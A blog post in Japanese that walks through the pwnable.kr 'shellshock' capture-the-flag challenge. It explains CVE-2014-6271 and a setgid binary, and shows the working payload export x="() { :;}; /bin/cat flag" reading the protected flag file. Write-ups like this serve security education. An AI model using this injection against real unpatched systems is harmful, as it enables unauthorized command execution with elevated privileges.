LoginSignup
1
0

More than 3 years have passed since last update.

Pwnable.kr-[shellshock] writeup

Last updated at Posted at 2021-04-01

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c
shellshock@pwnable:~$ cat shellshock.c
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

CVE-2014-6271というShellshockと呼ばれる脆弱性についての問題です。
ソースコードを見ると、getresuid,getresgidによって実uid,実効uid,保存set_resuid,同gidがgetegid()に設定されます。ここで、shellshockはsgidビットが立っているため、system()はファイルの所有グループであるshellshock_pwnの権限で実行されることになります。
Shellshockはbashが起動されたときに特定の環境変数があると発生します。具体的には
x="() { :;}; /bin/cat flag"
という環境変数があると関数宣言の形の () { :;}; を読み込んだあとに続けて /bin/cat flag も実行してしまう、という脆弱性です。これを利用します。

shellshock@pwnable:~$ export x="() { :;}; /bin/cat flag"
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0